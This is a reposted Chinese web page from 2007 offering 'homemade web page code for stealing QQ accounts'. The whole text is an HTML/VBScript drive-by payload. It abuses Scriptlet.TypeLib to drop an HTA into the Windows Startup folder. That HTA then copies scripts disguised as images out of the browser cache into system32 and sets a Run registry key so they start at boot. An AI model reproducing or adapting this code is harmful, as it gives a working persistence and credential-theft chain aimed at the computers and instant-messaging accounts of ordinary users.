自制盗QQ号网页代码

来源：vlan9收集作者：未知出处：巧巧读书 2007-12-11 进入讨论组

<html>
<script language=vbs>
'on error resume next
rem czy a scit boy 2002.3.31
aosoao
sub cal()
myname=document.location
If Right(myname, 3) = "hta" Then
call svbs()
end if

end sub
sub svbs()
'on error resume next
set fso = createobject("Scripting.FileSystemObject")
If not (fso.FolderExists("c:\windows\system32\qq")) Then
fso.CreateFolder("c:\windows\system32\qq")
call sv()
else
settimeout "aa()",1
end if
end sub
sub sv()
set fso = createobject("Scripting.FileSystemObject")
set fil = fso.opentextfile("C:\WINDOWS\Start Menu\Programs\启动\so.vbs",2,tr
ue)
fil.writeline "drnext"
fil.writeline "sub drnext()"
fil.writeline "on error resume next"
fil.writeline "set fso = createobject(""Scripting.FileSystemObject"")"
fil.writeline "If (fso.FileExists(""C:\WINDOWS\Start Menu\Programs\启动\so.h
ta"")) Then"
fil.writeline "fso.DeleteFile(""C:\WINDOWS\Start Menu\Programs\启动\so.hta""
)"
fil.writeline "end if"
fil.writeline "for each dr in fso.getfolder(""C:\windows\tempor~1"").subfold
ers"
fil.writeline " fdnext(dr)"
fil.writeline " flnext(dr)"
fil.writeline " next "
fil.writeline "end sub"
fil.writeline "sub fdnext(dr)"
fil.writeline "for each fd in dr.subfolders"
fil.writeline " fdnext(fd)"
fil.writeline " flnext(fd)"
fil.writeline "next"
fil.writeline "end sub"
fil.writeline "sub flnext(dr)"
fil.writeline "set fso = createobject(""Scripting.FileSystemObject"")"
fil.writeline "for each fl in dr.files"
fil.writeline "If LCase(fso.GetFileName(fl))=""123451[1].bmp"" then"
fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\1.bmp"""
fil.writeline "elseif LCase(fso.GetFileName(fl))=""123452[1].ico"" then"
fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\1.ico"""
fil.writeline "elseif LCase(fso.GetFileName(fl))=""123453[1].jpeg"" then"
fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\2.jpg"""
fil.writeline "elseif LCase(fso.GetFileName(fl))=""123454[1].jpeg"" then"
fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\dl.vbs"""
fil.writeline "elseif LCase(fso.GetFileName(fl))=""123455[1].jpeg"" then"
fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\qq.vbs"""
fil.writeline "elseif LCase(fso.GetFileName(fl))=""123456[1].jpeg"" then"
fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\qq1.hta"""
fil.writeline "elseif LCase(fso.GetFileName(fl))=""123457[1].jpeg"" then"
fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\qq2.hta"""
fil.writeline " End If"
fil.writeline "next"
fil.writeline "set R = CreateObject(""WScript.Shell"")"
fil.writeline "R.RegWrite ""HKCU\Software\Microsoft\Windows\CurrentVersion\
Run\qq"",_"
fil.writeline """c:\windows\system32\qq\qq.vbs"""
fil.writeline "end sub"
'----------------------------
settimeout "aa()",1
end sub
sub aa()
window.close
end sub
</script>
<script language=vbscript>
on error resume next
function lvbs()
For Each ws In document.scripts
If LCase(ws.Language) = "vbs" Then
Lvbs = ws.Text
Exit Function
End If
next
end function
main
sub main()
dim aa
lvbs
aa="<html><script language=vbscript>" & lvbs & "<" & "/" & "script" & ">" &
"<" & "/" & "html" & ">"
set os = createobject("Scriptlet.TypeLib")
Os.Reset
Os.Path = "C:\WINDOWS\Start Menu\Programs\启动\so.hta"
Os.Doc = aa
Os.Write()
end sub
</script>
<img src=123451.bmp>
<img src=123452.ico>
<img src=123453.jpg>
<img src=123454.jpg>
<img src=123455.jpg>
<img src=123456.jpg>
<img src=123457.jpg>
<body>
</body>
</html>浏览URL http://www.qqread.com/qq/h781341107.html